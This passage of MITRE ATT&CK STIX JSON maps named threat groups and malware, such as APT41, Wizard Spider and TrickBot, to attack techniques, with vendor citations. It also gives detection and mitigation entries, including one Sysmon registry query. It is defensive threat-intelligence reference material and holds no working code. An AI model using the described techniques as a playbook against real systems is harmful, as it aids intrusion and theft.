Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:51:59.407Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can execute commands via `cmd.exe`.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aca1a51b-89a5-45e9-bce5-14b5a0a4c0f1","type":"relationship","created":"2020-05-26T17:14:42.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.968Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has named the malicious DLL the same name as DLLs belonging to legitimate software from various security vendors.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aca30dc6-34c2-45f3-87a4-9d9abda01036","type":"relationship","created":"2021-04-09T16:08:58.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.581Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used tools that communicate with C2 over HTTP.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aca39122-03de-4eb0-b73a-cbcbc52ca3de","created":"2024-03-28T14:33:21.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Triton-EENews-2017","description":"Blake Sobczak. (2019, March 7). The inside story of the world’s most dangerous malware. Retrieved March 25, 2024.","url":"https://www.eenews.net/articles/the-inside-story-of-the-worlds-most-dangerous-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:01:46.219Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) captured credentials as they were being changed by redirecting text-based login codes to websites they controlled.(Citation: Triton-EENews-2017)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aca452f1-d08e-4975-81b2-e93b56910d67","created":"2022-04-12T20:33:08.998Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can enumerate and examine running processes to determine if a debugger is present.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:48:49.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aca710ff-23a3-4c78-b75a-dfe6cad337a9","created":"2020-11-10T16:22:44.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T17:58:34.540Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \"whoami\" to identify the local user and their privileges.(Citation: Sophos New Ryuk Attack October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acabd9dd-bffc-4b8e-86df-a65bd9086b53","created":"2024-07-01T20:07:48.076Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:07:48.076Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage the CRM database as a source to mine valuable information. Monitor access to the CRM database, especially performed by privileged users as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of records; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acb06172-23a6-4190-a568-63da13491e6e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-19T19:05:12.834Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) creates and uses a VBScript as part of its persistent execution.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acb0fd33-201c-481f-857d-429c3ef67015","created":"2021-01-25T16:05:34.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.427Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has collected data of interest from network shares.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acb573cf-9f4b-47ff-b0c7-8679773f3fef","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for newly constructed files that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acbf0f3f-5dd4-42ad-9399-047b8ff5dc0a","created":"2022-09-06T13:47:21.104Z","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T13:47:21.104Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can check the Registry for specific keys.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acbf80e8-fd71-4944-aa7b-e0ce4b73dc8c","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:39:26.350Z","description":"Monitor for new constructed windows registry keys that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.\n\nAnalytic 1 - Creation of the HKLM\\System\\CurrentControlSet\\Services Registry key\n\n sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"12\" TargetObject=\"HKLM\\System\\CurrentControlSet\\Services\\*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acc40539-13a0-4577-a862-e348962bf0fc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:16.012Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) exfiltrates screenshot files to its C2 server.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acc88c1c-1906-4643-92a7-bd5397a5ae2e","created":"2022-10-13T14:42:46.184Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:42:46.184Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has deleted its files and components from a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acca43ee-1e88-4d39-a953-7626173a89b2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-20T17:24:36.513Z","description":"[Helminth](https://attack.mitre.org/software/S0170) can provide a remote shell. One version of [Helminth](https://attack.mitre.org/software/S0170) uses batch scripting.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acd25956-0e08-4643-a121-33f20eb4b24c","type":"relationship","created":"2020-07-16T15:23:48.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.581Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated information gathered from the infected system to the C2 server.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acd4512e-3ef7-4c33-9fc1-c3829efebe60","type":"relationship","created":"2020-03-16T14:56:19.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T20:10:26.699Z","description":"Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acd4b81e-6bef-4ac0-bf4b-2428b5c9c6b9","type":"relationship","created":"2021-03-12T18:46:47.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.273Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has been executed via MSHTA application.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acdab071-f314-4671-a794-3c792b559c28","type":"relationship","created":"2021-01-28T17:08:52.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-28T17:08:52.211Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) can deploy additional components or tools as needed.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae","created":"2019-01-30T15:27:06.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.859Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ace08873-7afc-42e0-a58f-3d67ee6964b1","created":"2024-02-26T14:21:37.751Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-26T14:21:37.751Z","description":"Set and enforce secure password policies for accounts.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ace0d0ba-7ee5-46cd-be08-2b33d217a13d","created":"2022-01-11T14:54:27.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.998Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) dropper can place malicious payloads on targeted systems.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ace53417-c3e0-49b6-b3d1-04451b94ee75","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acece0c4-4c9e-4c11-a57a-f01bb23abbf7","type":"relationship","created":"2021-03-15T19:28:36.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eclypsium Trickboot December 2020","url":"https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf","description":"Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS ‘TRICKBOOT’: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."}],"modified":"2021-04-10T13:32:55.196Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) module \"Trickboot\" can write or erase the UEFI/BIOS firmware of a compromised device.(Citation: Eclypsium Trickboot December 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acfadf9a-afa5-413e-8855-a96947c5ab26","type":"relationship","created":"2021-10-07T21:28:23.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-14T22:58:54.604Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses scp to access the ~/Library/Cookies/Cookies.binarycookies file.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--acfaf7ec-7b92-40ec-a844-17089791a663","created":"2019-09-23T23:08:25.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:38:35.608Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.(Citation: FireEye APT41 Aug 2019) [APT41](https://attack.mitre.org/groups/G0096) also used Microsoft Bitlocker to encrypt workstations and Jetico’s BestCrypt to encrypt servers.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad06b85a-a0df-41aa-8f45-f41504987918","created":"2020-05-13T17:16:11.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.662Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 